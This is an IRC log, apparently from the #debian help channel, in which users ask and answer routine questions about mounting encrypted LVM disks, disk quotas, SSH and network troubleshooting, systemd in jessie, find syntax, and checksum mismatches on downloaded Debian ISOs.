| 13:41.24 | olivier_bK | but he write nothing inside |
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| 13:49.08 | d3lphi | hello. When I run "quotacheck -avug" I get the warning, that on my mountpoint /some/dir quotas are enabled for users. How the hell do I disable them on-the-fly to run quotacheck? |
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| 13:52.57 | luminous | hi, I'm trying to mount an encrypted disk (another linux distro, ubuntu I think) on a debian box. I have the passphrase correct, and I can use cryptsetup /dev/sdXn label to create an entry in /dev/mapper/label for the device. cryptsetup show label reports good things, but I'm unable to mount the mapped device |
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| 13:53.09 | luminous | I am trying: mount /dev/mapper/label /mnt/point |
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| 13:53.39 | jelly | luminous: pastebin the current output of "lsblk" command |
| 13:53.40 | petn-randall | luminous: What is the error message you get? Are you sure it's a filesystem, and not e.g. a PV? |
| 13:54.10 | luminous | petn-randall: it might be PV, but I'm not sure where to go from here if it were |
| 13:54.35 | luminous | yes, lsblk shows lvm |
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| 13:58.03 | luminous | petn-randall: how would I mount a specific lvm volume on the mapped device? |
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| 14:00.59 | luminous | pvs only lists the lvm for my system, not this extra encrypted disk from another system |
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| 14:05.54 | jelly | luminous: make sure your /etc/lvm/lvm.conf considers the /dev/mapper/label device as a candidate for a PV at all |
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| 14:09.28 | luminous | got it! |
| 14:09.38 | luminous | jelly: thanks for the pointers along the way |
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| 14:12.02 | debiannoob | <PROTECTED> |
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| 14:12.59 | debiannoob | It’s a rgb led; magsafe adapter on the charger of a macbook pro retina |
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| 14:14.41 | jelly | debiannoob: maybe it does, maybe it doesn't, but it's a silly question and you already know what the right solution is |
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| 14:15.34 | debiannoob | temp fix obviously until the new charger is here |
| 14:15.51 | Sbroker | hi , one question, Is very important and serious have a "reasigned sector" in a HD? FSCK show 1 reasigned sector only ian 1 TB hd WD |
| 14:15.52 | john_rambo | When I mount my host's shared folder from terminal like this #mount -t vboxsf -o rw,uid=1000,gid=1000 vbox /home/net/host/ |
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| 14:16.17 | john_rambo | Its mounts but when add this line to /etc/rc.conf and reboot its doesnt mount |
| 14:16.36 | jelly | Sbroker: it's more important to track _changes_ in that value over time. |
| 14:17.24 | jelly | that one sector was already detected and rewritten, what's done is done |
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| 14:17.59 | addaitech | use /etc/fstab to mount it on boot |
| 14:18.13 | Sbroker | jelly with out changes from 4 years ago |
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| 14:18.53 | john_rambo | A vbox user says it wont work coz the driver doesnt load at that stage addaitech ...Trying now |
| 14:19.16 | addaitech | ah dunno about vbox, sorry i missed that part |
| 14:19.23 | john_rambo | NP |
| 14:19.32 | Sbroker | allways 1 reasigned sector and It s working 24 hours to day and 365 days to year |
| 14:19.52 | addaitech | maybe have it sleep some in rc.conf if fstab doesnt work? |
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| 14:20.26 | wols | john_rambo: the driver is supposed in your initrd |
| 14:21.17 | john_rambo | wols, So, do you think I should add it to fstab ? |
| 14:21.32 | john_rambo | Trying .... |
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| 14:22.58 | cloudowind | With modern hardware and virtualization, almost everything can be hotplugged: from the usual USB/PCMCIA/IEEE 1394 peripherals to SATA hard drives, but also the CPU and the memory. |
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| 14:23.14 | cloudowind | this doesnt means cpu and the memory can be hotplugged? |
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| 14:24.03 | cloudowind | i assume they cant |
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| 14:28.06 | petn-randall | cloudowind: Most *physical* HW can be hotplugged, there are certain limitations, though. |
| 14:30.54 | cloudowind | i can understand memory ok possible but what about cpu? |
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| 14:43.01 | ChrisH | cloudowind: Solaris/Sun HW was capable of this since several years. There you have CPU and/or memory modules which can be powered on/off and the OS will make them active or passive |
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| 14:44.15 | catia | average phone has cpu hot plug |
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| 14:44.47 | petn-randall | catia: I don't think they get physically unplugged, they just have power management for that. |
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| 14:50.38 | Geronim32 | is is |
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| 14:51.45 | kriskropd | why are the aliases ive added to my .bashrc file not working when im in ssh? |
| 14:51.54 | Geronim32 | is it possible to install the linux mint debian edition "software manager" on wheezy? |
| 14:52.02 | kriskropd | ps says I'm using bash, just liek when i use urxvt on x11 |
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| 14:53.30 | mimoo | kriskropd: are you using the same user :p |
| 14:54.27 | zafu | hi, how can I list all packages that have a dependency to a package? |
| 14:54.28 | Penix | Geronim32: start a new instance of bash, or "source ~/.bashrc" in a current session |
| 14:55.13 | Penix | oops |
| 14:55.20 | Penix | kriskropd: ^^ |
| 14:56.21 | mwargh | zafu: 'apt-cache rdepends foo' for installed packages |
| 14:56.36 | mwargh | for all packages you will probably have to download a mirror and do some shell magick |
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| 14:57.12 | zafu | mwargh: thanks |
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| 14:58.10 | tobiasBora | Hello ! |
| 14:58.35 | tobiasBora | I would like to know what does gnome 3 looks like on Debian |
| 14:58.45 | tobiasBora | Is it a unity like, or more like xfce ? |
| 14:58.45 | Penix | tobiasBora: like gnome 3 |
| 14:58.54 | Penix | tobiasBora: it is like gnome |
| 14:59.16 | Penix | tobiasBora: plenty of screenshots via a quick google search |
| 14:59.16 | TomyWork | will apt-get -y dist-upgrade only autoconfirm more than the package selection? |
| 14:59.28 | tobiasBora | Penix: The old version of Gnome ? Because if my memory is gnome gnome 3 decided to completly change it's interface |
| 14:59.43 | Penix | tobiasBora: that's correct |
| 14:59.51 | mwargh | tobiasBora: just install it on kvm or virtualbox and see |
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| 15:01.16 | kruug | alright, trying to connect to a VPS via PuTTY, but the server keeps disconnecting. What can I check to see why this is? iptables has port 22 being allowed, and sshd is running. |
| 15:01.33 | ChrisH | kruug: use ssh -v |
| 15:01.46 | TomyWork | ssh -vvvvvvvvvvvvvvvv |
| 15:02.08 | tobiasBora | mwargh: I can try but it's prety long to do... |
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| 15:02.17 | TomyWork | but that wont help him since he's using putty and not openssh |
| 15:02.22 | mwargh | tobiasBora: will take less than an hour with virtualbox |
| 15:02.41 | kruug | ChrisH, TomyWork http://paste.debian.net/127183/ |
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| 15:02.52 | mwargh | kruug: try 'telnet <yourvps> 22' first and see if it connects at all |
| 15:03.01 | killown | can anyone help me? https://bpaste.net/show/31fa9c06dc67 when I try to print the cups ask for allow the job before send it to the printer but even when I allow it by using the cups interface, it aborts the job |
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| 15:03.03 | kruug | I just realized I have access to a linux box to troubleshoot with :/ |
| 15:03.28 | ChrisH | kruug: cool.. there is a webserver answering von port 22 see line 18 till end |
| 15:03.32 | Geronim32 | what do you think of the wheezy Software Center? will it be ok onwheezy or could I have problems? |
| 15:03.34 | TomyWork | kruug cygwin is also decent nowadays |
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| 15:03.50 | kruug | ChrisH: oh, so nginx is probably configured to that port? |
| 15:03.59 | mwargh | TomyWork: next you will tell us windows 10 is decent |
| 15:04.12 | ChrisH | kruug: yes. nginx/1.2.1 answering |
| 15:04.12 | kruug | mwargh: actually, it's not bad |
| 15:04.34 | mwargh | kruug: i checked it, it's as shawandowwsy as ever |
| 15:04.39 | Penix | Geronim32: you'll have to ask the mint people |
| 15:05.25 | nikio_ | hey i cant copy or save a file to a folder in gnome in debian |
| 15:05.32 | nikio_ | how can i become root |
| 15:05.35 | nikio_ | in gnome |
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| 15:05.43 | Penix | nikio_: you don't |
| 15:05.47 | Geronim32 | Penix, No, I have found a debian pakage. Nothing to do with mint |
| 15:06.04 | nikio_ | Penix, how could i easily just save a file from the internet to a special folder |
| 15:06.07 | Penix | Geronim32: yes, it has everything to do with mint. it's an application from the Mint distribution, isn't it? |
| 15:06.08 | nikio_ | read only |
| 15:06.24 | TomyWork | mint uses .deb too, Geronim32. dont confuse the package manager with the distribution |
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| 15:06.54 | TomyWork | oh nm |
| 15:06.59 | Penix | nikio_: the same way you'd do it with any file. what's a "special folder"? |
| 15:07.13 | rfreeman_w | I have to run flash (blargh) on a debian (testing) |
| 15:07.21 | nikio_ | su mc |
| 15:07.21 | Penix | nikio_: you'll need write permission for that directory, obviously |
| 15:07.22 | nikio_ | maybe? |
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| 15:07.33 | d3lphi | hey all. I'd like to use quota but when I edit a users quota I need to specify block sizes for soft/hard limit. How do I proceed here? How can I say, that I want each user having a hard limit of 1 Gigabyte? "dumpe2fs /dev/mydev" is showing block size=4096 |
| 15:07.38 | nikio_ | or open a root terminal and open midnight commander as it |
| 15:07.40 | cloudowind | how can i be in // ? |
| 15:07.43 | Penix | nikio_: no |
| 15:07.46 | nikio_ | or maybe iceweasel directly |
| 15:07.47 | TomyWork | rfreeman_w last time i did that (when squeeze was testing or something) i took the flash package from ubuntu |
| 15:07.48 | rfreeman_w | or actually, to be able to view flash web pages. Just from one user (for security). How to do it? e.g. install locally the software, or something |
| 15:07.49 | Penix | nikio_: where are you trying to store this file? |
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| 15:07.52 | cloudowind | i accidently typed cd // and i found myself in / |
| 15:07.55 | cloudowind | sorry in // |
| 15:07.57 | Penix | nikio_: what is the directory location/name? |
| 15:08.01 | nikio_ | Penix,in the mc skins folder |
| 15:08.02 | d3lphi | how do I calculate that? |
| 15:08.02 | TomyWork | worked nicely, but by now there ought to be a debian-native solution |
| 15:08.21 | Penix | nikio_: what is the exact location? |
| 15:08.21 | rfreeman_w | TomyWork, well there is adobe flash that works in firefox in debian non-free, but I want it to be just for one user, best if user-local installed |
| 15:08.57 | nikio_ | hmm Penix |
| 15:09.03 | nikio_ | maybe i can move it to ~/.local/mc/skins/ |
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| 15:09.19 | rfreeman_w | was there a method to make debian chmod always given file(s), e.g. across updates and reinstalls? |
| 15:09.27 | nikio_ | /usr/share/mc/skins is the exact folder |
| 15:09.28 | Geronim32 | No guys, please look at here this seems to have nothing to do with other distros: http://paste.debian.net/127184/ |
| 15:09.33 | nikio_ | but maybe i dont have to paste it there |
| 15:09.57 | kruug | thanks guys, that's what sucks about being on a team and no one else understands linux :/ |
| 15:10.00 | Penix | nikio_: you don't have write permission for anything under /usr |
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| 15:10.13 | Penix | nikio_: so, yes, you'll need to be root |
| 15:10.15 | d3lphi | on my filesystem with block size=4096 does that mean, that 1GB is equal to 262144 blocks ? |
| 15:10.30 | d3lphi | so I use 262144 as hard limit in my user quota, if I want to restrict that user at 1GB size? |
| 15:10.54 | nikio_ | Penix, where is ~/.local |
| 15:10.57 | Penix | nikio_: but, as you mentioned, you may be able to store user-specific files in ~/.local for whatever application you're dealing with |
| 15:11.07 | nikio_ | i cant find it |
| 15:11.14 | nikio_ | <PROTECTED> |
| 15:11.17 | nikio_ | ~means home |
| 15:11.21 | nikio_ | but i looked there its not there |
| 15:11.27 | Penix | nikio_: then create it |
| 15:11.36 | jelly | rfreeman_w: dpkg-statoverride |
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| 15:11.51 | rfreeman_w | thanks jelly |
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| 15:12.06 | cloudowind | oot@localnet:/sys/class/scsi_host/host0/device/scsi_host/host0/device/scsi_host/host0/device/scsi_host/host0/device/scsi_host/host0/device/scsi_host/host0# |
| 15:12.23 | rfreeman_w | and about the flash solution, is there no ready practice for it? "Allow specified user to run flash." is there open source flash implementation in chromium maybe? that would be nice too |
| 15:12.25 | cloudowind | and goes on...is this recursive directory or something? |
| 15:12.45 | TomyWork | rfreeman_w well you could take a look at the package |
| 15:13.02 | nikio_ | Penix, not allowed lol |
| 15:13.02 | nikio_ | argh |
| 15:13.14 | TomyWork | ark, midnight commander and probably some other tools as well can look into .deb packages |
| 15:13.37 | TomyWork | or if you're crude, dpkg-deb -x |
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| 15:14.30 | killown | I am having an issue with cups allowing jobs https://bpaste.net/show/31fa9c06dc67 it asks to allow the job before printing, I don't any permissions and I don't know where this permission is from since I have allowed @LOCAL |
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| 15:15.32 | Penix | rfreeman_w: copy the plugin to your user's plugins directory for firefox, or for chromium you could place the pepper plugin in your home dir and pass the flash path argument |
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| 15:17.28 | rfreeman_w | Penix, so I just install chromium system-wide from normal debian repository, and then add the pepper plugin for given user? could you give me the instruction for the plugin part? |
| 15:18.03 | Penix | rfreeman_w: look at /etc/chromium/default after installing pepperflashplugin-nonfree |
| 15:18.14 | TomyWork | rfreeman_w like i said, packages are just regular files you can inspect with tools |
| 15:18.22 | TomyWork | no need to actually install them |
| 15:18.52 | rfreeman_w | ok |
| 15:18.59 | Penix | in the case of pepper flash you will need to install it, or grab the official chrome debian package and extract the plugin file |
| 15:19.12 | Penix | which is what the pepper package does |
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| 15:19.50 | SynrGy | in backports, btw |
| 15:19.56 | SynrGy | ,v pepperflashplugin-nonfree |
| 15:19.57 | judd | Package: pepperflashplugin-nonfree on i386 -- wheezy-backports/contrib: 1.4~bpo60+1; sid/contrib: 1.7 |
| 15:20.00 | d3lphi | on my filesystem with block size=4096 does that mean, that 1GB is equal to 262144 blocks ? |
| 15:20.07 | SynrGy | to be precise, in backports in *contrib* |
| 15:20.09 | d3lphi | so I use 262144 as hard limit in my user quota, if I want to restrict that user at 1GB size? |
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| 15:20.44 | frostschutz | d3lphi, probably - one way to find out? |
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| 15:21.34 | kyuga | Will TRIM commands get through to SSDs used in a straight md softraid array? |
| 15:21.57 | kyuga | (set via discard in ext4 mount options) |
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| 15:22.59 | Gforce | Hi.Recently sometimes I get disconnected from the internet.The DSL connection disappears from the network manager or what ever it name is(in tray).All I can do to reconncet is rebooting.Any idea? |
| 15:23.26 | frostschutz | kyuga, trim works fine for me through LVM (requires no configuration), LUKS (requires --allow-discards), md raid5 (no configuration), ... |
| 15:23.48 | d3lphi | Gforce: check your log files |
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| 15:24.14 | Gforce | d3lphi:Which log exactly? |
| 15:24.18 | frostschutz | kyuga, test it yourself http://unix.stackexchange.com/a/85880/30851 |
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| 15:25.27 | kyuga | frostschutz: Just found what I was looking for, http://kernelnewbies.org/Linux_3.7#head-2fd9b183a4623d96e69ed24f88e0eb83217fa8df |
| 15:25.47 | SynrGy | Gforce: dmesg | grep wlan |
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| 15:26.37 | Gforce | SynrGy:You sure it's wlan?I get nothig right now. |
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| 15:26.54 | frostschutz | kyuga, oh right, only if the kernel isn't too old of course ;) |
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| 15:26.55 | unclezipper | Gforce: Try eth |
| 15:26.56 | SynrGy | Gforce: i'm not sure of anything. you know your own hardware. i don't |
| 15:27.00 | SynrGy | eth |
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| 15:27.20 | Gforce | Yeah.thats eth. |
| 15:27.24 | kyuga | frostschutz: Yup :) |
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| 15:27.35 | btorch | anyone here know where I can get help on pbuilder |
| 15:27.56 | SynrGy | Gforce: you said "network manager" and my mind leapt to wireless. sorry :) |
| 15:28.06 | SynrGy | (my eyes skidded over the DSL part) |
| 15:28.19 | Gforce | SynrGy:No problem. |
| 15:29.05 | SynrGy | your session log might also contain clues. but dmesg is a good place to start. |
| 15:29.59 | Gforce | SynrGy:dmesg contains logs since the last reboot or ...? |
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| 15:30.55 | Gforce | SynrGy:I mean should I wait till next time the connection fails or ...? |
| 15:31.03 | d3lphi | frostschutz: well, I was wrong. Because quota is not using filesystem block size, but is defined in linux kernel header file sys/mount.h ;) |
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| 15:31.59 | SynrGy | Gforce: look in /var/log/syslog then |
| 15:32.08 | SynrGy | Gforce: that, at least, gets rolled over |
| 15:32.25 | SynrGy | Gforce: dmesg is the kernel ring buffer. it only exists for the current boot |
| 15:32.54 | SynrGy | Gforce: the advantage of checking dmesg is users tend to have access to it |
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| 15:33.13 | Gforce | SynrGy:cat /var/log/syslog | grep eth0 ? |
| 15:33.20 | SynrGy | useless use of cat |
| 15:33.31 | SynrGy | grep eth0 /var/log/syslog |
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| 15:34.28 | SynrGy | Gforce: see also syslog.1, syslog.2.gz, etc. |
| 15:34.37 | SynrGy | use zgrep for the compressed files |
| 15:35.13 | jelly | so nice that zgrep alos works on uncompressed ones as well |
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| 15:35.18 | SynrGy | yep |
| 15:35.25 | jelly | unlike the zgrep in RHEL |
| 15:35.42 | Gforce | SynrGy:the syslog: http://paste.debian.net/127188/ |
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| 15:36.56 | Gforce | SynrGy:Is it the line 349? |
| 15:36.57 | SynrGy | Gforce: estimate when you last lost network and focus on the log entries for that time |
| 15:37.36 | ChrisH | Gforce: hint check for the lines with ADDRCONF(NETDEV |
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| 15:37.52 | SynrGy | Gforce: probably can ignore all ipv6-related messages |
| 15:37.54 | LordDeath | in wheezy there is still no update for this? https://www.openssl.org/news/secadv_20141015.txt |
| 15:38.00 | SynrGy | (unless you know you're using ipv6) |
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| 15:38.35 | Gforce | ChrisH:What do you mean?:/ Can you explain more? |
| 15:38.46 | Gforce | SynrGy:No IPV6. |
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| 15:39.29 | Gforce | ChrisH: Got it.:) |
| 15:39.35 | SynrGy | Gforce: i gotta go. work to do |
| 15:39.46 | SynrGy | hopefully others here can help with interpretation/what to try next |
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| 15:39.54 | Gforce | SynrGy:Oh np.Thank you. |
| 15:39.54 | SynrGy | good luck |
| 15:40.05 | Gforce | Ok* |
| 15:40.10 | biggi_mat | Hello. In bash - how could I access multiple variables with unknown exact names. Each variable is named <random>_port=… and I’d need to iterate through all these ports. |
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| 15:40.45 | tobiasBora | I've a problem, when I do $ sudo dd if=debian-live-7.6.0-amd64-xfce-desktop.iso of=/dev/sdd bs=4M; sync |
| 15:40.49 | dondelelcaro | biggi_mat: I'd try asking in #bash |
| 15:41.00 | Gforce | So any one has any idea? |
| 15:41.34 | dondelelcaro | btorch: you can get help here, if you didn't already solve your question |
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| 15:42.24 | ChrisH | Gforce: My interpretation is based on grep ADDRCONF syslog ; There where 3 Link lost events, not it depends on how the setup is. Does your Debian to the PPPoE stuff? |
| 15:43.03 | tobiasBora | then the usb stick isn't recognized by my OS, in gparted I've somehting like "unknow filesystem" |
| 15:43.26 | Gforce | ChrisH:I use bridge connection. |
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| 15:44.34 | Gforce | ChrisH:You mean this: grep ADDRCONF /var/log/syslog |
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| 15:45.31 | spaceone | hi |
| 15:45.38 | Gforce | it's just 4 lines which says link becomes ready,link is not ready.... |
| 15:45.45 | Gforce | 6* |
| 15:45.46 | spaceone | i just installed netinst debian jessie |
| 15:45.59 | spaceone | but didnt have a network connection |
| 15:46.06 | spaceone | so my sources list is empty |
| 15:46.17 | spaceone | which are the correct entry? |
| 15:46.39 | jelly | !tell spaceone about jessie sources.list |
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| 15:47.25 | ChrisH | Gforce: yep. Link lost means the same as network cable was unplugged. Unless you can show/explain the setup in details its pretty difficult to suggest the next steps |
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| 15:48.22 | Gforce | ChrisH:What should I exactly explain? |
| 15:48.30 | spaceone | thx jelly |
| 15:49.01 | ChrisH | Gforce: the network setup, from eth0 to the DSL Port at your wall. |
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| 15:50.09 | kyuga | tobiasBora: Verify end-to-end, 1) The sha512 hash of your downloaded iso, 2) Calculate the exact block count for writing the iso to usb (e.g. 1M=2^20 bytes, ls -l isofile and $size/2^20), 3) Write to usb, 4) Read back those blocks from usb with dd and pipe through sha512sum - to verify against original Checksum of ISO. |
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| 15:51.32 | Gforce | ChrisH:My computer is connected to the router(Or modem?)with lan cable.It(Router/Modem) uses bridge connection.And I setup a DSL connection in the network manager.was that ok? |
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| 15:54.24 | ChrisH | Gforce: (need to leave now) If its a DSL Modem then you setup a PPPoE connectiuon in NM. If it is a Router then you just setup a DHCP LAN connection. I still do not unerstand the bridge part on your router/modem |
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| 15:56.06 | unclezipper | Gforce: So you have a DSL connection at your home? |
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| 15:56.18 | Gforce | unclezipper:yes |
| 15:56.29 | Gforce | ChrisH:Ok thanks. |
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| 15:57.21 | Gforce | What is wierd is why I can't see the connections in the tray? |
| 15:57.34 | unclezipper | If it goes through a router or modem, you just need to set up a DHCP or static connection, like ChrisH said. If you had a DSL modem card in your pc, then you would need to set up a PPP connection |
| 15:57.35 | kriskropd | Penix `source ~/.bashrc` enabled my aliases - but I dont understand why it didnt load before |
| 15:57.53 | kriskropd | and I seem to need to do this every time |
| 15:58.05 | tobiasBora | kyuga: Where could I find the sha of the files ? |
| 15:58.19 | Gforce | unclezipper:It's a ADSL2+ Modem Router. |
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| 15:58.53 | unclezipper | Gforce: Try restarting the networking service to see if that will make the connection reappear |
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| 15:59.05 | Gforce | unclezipper:And I don't want to use PPPoE. |
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| 15:59.42 | Gforce | unclezipper:Ok.What is the service name? |
| 15:59.42 | tobiasBora | I found them |
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| 16:00.23 | unclezipper | Gforce: Do sudo service networking restart |
| 16:00.52 | Gforce | unclezipper:Ok I'll try that next time. |
| 16:01.01 | heurist | kriskropd: what does ~/.bash_profile contain? |
| 16:01.03 | topi` | trying out Jessie Beta 2 now, it seems systemctl is in charge of demons... |
| 16:01.10 | Gforce | I guess I got this problem since last upgrade. |
| 16:01.14 | topi` | how does interoperability with sysv4 init work out? |
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| 16:01.20 | somiaj | topi`: yes by default systemd will be the init on jessie. |
| 16:01.29 | Gforce | Any one had any similar issue? |
| 16:01.30 | topi` | I notice /etc/init.d is still full of intscripts |
| 16:01.56 | somiaj | topi`: systemd honors LSB init scripts and will start servies using the LSB init script in /etc/init.d, as well as scripts set up using systemd's configuration |
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| 16:02.46 | kriskropd | heurist: contains an echoed message and an alias appended to the default .bashrc file provided by debian install |
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| 16:03.07 | heurist | Gforce: I do not think you have a choice about using PPPoE that depends on your connection type from your ISP. if you set the modem into bridged mode you must make the PPPoE on the client side. else you can have the modem make the PPPoE connection if it is not in bridged, then the client can use dhcp. |
| 16:03.08 | kriskropd | actually Im noticing jus tnow that it is not loading my .bashrc file, but perhaps a similar file located elsewhere |
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| 16:03.19 | topi` | somiaj: OK, I got that. If I remove *all* init scripts from /etc/init.d, can Jessie still boot with systemd stuff? |
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| 16:04.15 | kriskropd | weiri figured it out - its loading .bashrc when im in x11 and .bash_profile when im in ssh |
| 16:04.18 | tobiasBora | Where could I find the md5sum of these files : http://cdimage.debian.org/debian-cd/current-live/amd64/bt-hybrid/ |
| 16:04.19 | kriskropd | weird* |
| 16:04.29 | topi` | there's plenty of stuff in /etc/rc2.d so I guess those will be started with svr4 style - however stuff like ModemManager seem to be managed by systemd |
| 16:04.43 | heurist | kriskropd: dependant on how you load your shell it does not always load your .bashrc, sometimes it loads .bash_profile instead. have .bash_profile load your .bashrc with a line like [[ -f ~/.bashrc ]] && . ~/.bashrc |
| 16:04.43 | somiaj | topi`: I am unsure how much of the debian init scripts have been ported to systemd scripts or are just using the LSB compadability to start. I personally wouldn't remove the scripts from /etc/init.d |
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| 16:05.08 | somiaj | topi`: I belive systemd only uses /etc/init.d, the old /etc/rc?.d/ links are not looked at by systemd |
| 16:05.12 | Gforce | Gforce:Yeah.I want it to be setup in client side.So no one else can connect to my internet without having user and pass. |
| 16:05.17 | topi` | somiaj: true, it must be a complex task to go thru all the legacy init scripts... |
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| 16:06.09 | heurist | gebba: then you have to user PPPoE on the client, if your ISP uses PPPoE. I missed the rest of the discussion. what is the problem? |
| 16:06.19 | somiaj | topi`: correct, and since debian matainers need to support both systemd and sysv, some may choose to just use the LSB compadability layer of systemd and just write LSB init scripts. Here again I'm fairly shaky on the actual details. |
| 16:06.50 | topi` | well, the main advantages of systemd will be for those apps that are somehow bound to sockets, etc |
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| 16:07.31 | heurist | topi`: quite possibly the #debian-next guys on irc.oftc.net will know a lot more about it. |
| 16:07.41 | topi` | ok |
| 16:07.50 | heurist | Gforce: then you have to user PPPoE on the client, if your ISP uses PPPoE. I missed the rest of the discussion. what is the problem? |
| 16:07.57 | heurist | gebba: oops, shhh... |
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| 16:08.04 | somiaj | topi`: that is what they say, I personally haven't noticed much difference but I have fairly simple requirements at boot up and sysv was just fine for my casees. I'm trying to learn systemd more but it has been slow |
| 16:08.14 | LordDeath | new DSA about openssl is out :) |
| 16:08.41 | Gforce | heurist:You mean Gforce?Some times I just get disconnected.and even the DSL connection disappears from the tray. |
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| 16:09.23 | topi` | somiaj: I got exposed to systemd while maintaining a few Fedora servers. Don't really like Fedora, but systemd was kickass |
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| 16:09.52 | topi` | as a system maintainer, you'll start to love systemd, it makes the mundane simple and reliable |
| 16:09.56 | LordDeath | silly question: do I need to reconnect my ssh connections after updating openssl? |
| 16:10.09 | LordDeath | because ssh -V also displays the installed openssl |
| 16:10.35 | Gforce | heurist:the question was this: Gforce: Hi.Recently sometimes I get disconnected from the internet.The DSL connection disappears from the network manager or what ever it name is(in tray).All I can do to reconncet is rebooting.Any idea? |
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| 16:11.32 | somiaj | topi`: yea my case test is I am happy with either sysv or systemd they both do what I need (I personally prefer less thigns running on my system and don't need all the dbus/policykit/etc linkage, but whatever times do change) |
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| 16:12.04 | heurist | Gforce: unfortunately that sounds like a Network Manager issue, I know nothing of Network Manager. sorry. |
| 16:12.07 | somiaj | topi`: I just wanted the transition to systemd to be fairly painless and my experience is it is. And for those who don't want systemd, jessie also supports sysv (: |
| 16:12.35 | Gforce | heurist:Ok NP.thank you any way.:) |
| 16:12.43 | somiaj | LordDeath: you'll have to restart your ssh server which should close all ssh connenctions I would imangine. ssh connenctions to other machines, it is that server which has to worry I would imangine. |
| 16:12.56 | heurist | LordDeath: debian-goodies package has checkrestart to see what you need to restart. you can restart sshd without losing your ssh connection. |
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| 16:13.33 | LordDeath | heurist: afair checkrestart never found such a running process with outdated files on my server |
| 16:13.43 | LordDeath | and now it did not either |
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| 16:14.01 | somiaj | heurist: ahh didn't know sshd would keep connenctions open during a restart, nifty |
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| 16:14.25 | heurist | somiaj: it is magic, I tell you! |
| 16:14.30 | kriskropd | heurist: i see- i made a softlink but i like that solution better- thanks :) |
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| 16:17.55 | jaybe | i'm trying to create a `find` (GNU) command line to search recursively for a particular directory name... then for each instance it finds, perform another `find` to identify files within older than 6 months, then act upon each file. i.e. $ find /path -type d -name \*riginal\*axes -print0 | xargs -0 find .... ... ? having trouble with the subsequent `find`/xargs |
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| 16:18.42 | rfreeman_w | there are rumors of NSA slides (Snowden) saying that Debian is in some way "owned" or compromised. What is this about? |
| 16:18.55 | heurist | jaybe: use -exec instead of | xargs |
| 16:19.00 | dondelelcaro | jaybe: that kind of sounds like you actually just want to find files older than six months which are in a directory named something |
| 16:19.36 | jaybe | dondelelcaro, correct. there will be numerous directories with such naming however. |
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| 16:20.19 | jaybe | heurist, that's where i was headed; i read xargs could be more efficient, but seems limited when chaining to another `find` action |
| 16:20.27 | dondelelcaro | jaybe: so something like find -type f -mtime 180 -path '*/directory/' |
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| 16:21.36 | dondelelcaro | or maybe '*/directory/*' |
| 16:21.52 | jaybe | dondelelcaro, i need to find all instances with depth though. and as regex. |
| 16:22.05 | jaybe | as in my example |
| 16:23.03 | dondelelcaro | jaybe: so use -regex |
| 16:23.12 | CissWit | find *riginal*axes -mindepth 1 -ctime 180 |
| 16:23.15 | dondelelcaro | jaybe: not sure what you mean by "with depth", though |
| 16:24.06 | dondelelcaro | if you mean that you want to find files which only exist within a directory named something, but not in a subdirectory named that, you can still use -regex to do that. |
| 16:24.51 | jaybe | i wish to find all files that are 6 months and older within any folders at any depth matching regex |
| 16:24.54 | dondelelcaro | or, alternatively, you can use find -type d ... -exec find '{}' blah blah ';'; |
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| 16:25.25 | dondelelcaro | jaybe: so find . -type f -ctime 180 -regex '\/your.regex\/'; |
| 16:25.51 | spaceone | !tell thunderbird |
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| 16:25.54 | jaybe | that doesn't specify the folder name |
| 16:25.54 | CissWit | jaybe: you can't find the creation date of a file on linux. Only last access, last modification and last file status change |
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| 16:26.06 | dondelelcaro | jaybe: "your.regex" is the folder name. |
| 16:26.08 | CissWit | et use find *riginal*axes -mindepth 1 -ctime 180 |
| 16:26.10 | spaceone | !tell firefox repository |
| 16:26.34 | CissWit | ctime = last modification, atime = last access |
| 16:26.37 | jaybe | CissWit, thanks; last modification would work. this is unfortunately and actually upon a windows machine via cygwin |
| 16:26.51 | CissWit | well id on't know how ctime and atime are handled then |
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| 16:27.13 | CissWit | and btw, #debian only support debian |
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| 16:27.20 | dondelelcaro | this is #debian; if it's not running Debian, it's not on topic here. Ask in #cygwin or similar. |
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| 16:27.32 | CissWit | you should try #cygwin there might be a way to look for creation date on cygwin |
| 16:28.07 | jaybe | this about gnu `find` really |
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| 16:29.20 | spaceone | which package is a minimal kde with no further kde apps? |
| 16:29.30 | spaceone | kdebase-bin? |
| 16:29.50 | topi` | there's a LOT of mounts in a jessie system, "mount" gives 29 lines |
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| 16:30.18 | dondelelcaro | topi`: yep |
| 16:30.20 | topi` | I see part of these are for the cgroup system, and then theres one tmpfs mount for every logged user |
| 16:30.27 | heurist | topi`: I have 34 on my wheezy system. |
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| 16:32.02 | topi` | the classic /tmp still hits the disk (root) though |
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| 16:33.11 | topi` | what I'm trying to achieve, is to mount root as readonly, and then maybe some parts can be mounted read-write like /etc |
| 16:33.44 | topi` | there's very little in /etc that needs to change, though. Probably only /etc/resolv.conf |
| 16:34.18 | heurist | topi`: resolvconf was designed to address exactly that. |
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| 16:35.49 | topi` | heurist: how does resolvconf work then? AFAIK the /etc/resolv.conf file is accessed every time there's a getaddrinfo() libc call going on |
| 16:36.04 | topi` | the relevant code probably lives inside libnss_dns.so |
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| 16:36.29 | heurist | topi`: symlinks to writable parts I think, I do not use it. |
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| 16:37.17 | d3lphi | do I need to manually add "quotacheck -avgum" to /etc/cron.daily/. so every day the particular partition is checked? |
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| 16:37.38 | topi` | maybe one way of solving would be to set a fixed resolv.conf containing 127.0.0.1 as the nameserver and then running a dns proxy locally... |
| 16:38.15 | heurist | topi`: that is what I do. |
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| 16:41.18 | heurist | topi`: this was an interesting read on one way of doing a read only system: http://0pointer.net/blog/projects/stateless.html |
| 16:42.47 | tobiasBora | Uhm... |
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| 16:43.40 | tobiasBora | It's really strange, I downloaded a file from a torrent three times, with 2 differents computers, and the md5sum isn't the same |
| 16:43.45 | tobiasBora | *good one |
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| 16:45.25 | tobiasBora | And the sha is bad too |
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| 16:46.00 | topi` | heurist: interesting stuff. Is debian going to go for the "usr merge" described in that page? |
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| 16:46.35 | heurist | topi`: everyone has done usr merge, that is old. (: |
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| 16:51.03 | tobiasBora | Is it possible to have corrupted images on a torrent ? |
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| 16:52.11 | tsam | tobiasBora: most (all?) software torrent check downloaded chunks with hash's, so it shouldn't happen. |
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| 16:53.28 | tobiasBora | Well... |
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| 16:54.04 | tobiasBora | For debian-7.6.0-amd64-CD-1.iso I've a sha1sum of 83f87311f6e5acc05cf13862af8f5599a12aaeea |
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| 16:54.45 | tobiasBora | An other one bad too |
| 16:54.48 | tobiasBora | 9d8bb8401c40ad38309de21e1aee4c1e693386d debian-7.6.0-amd64-xfce-CD-1.iso |
| 16:54.53 | Devastator | do you actually need the whole CD? why not netinst? |
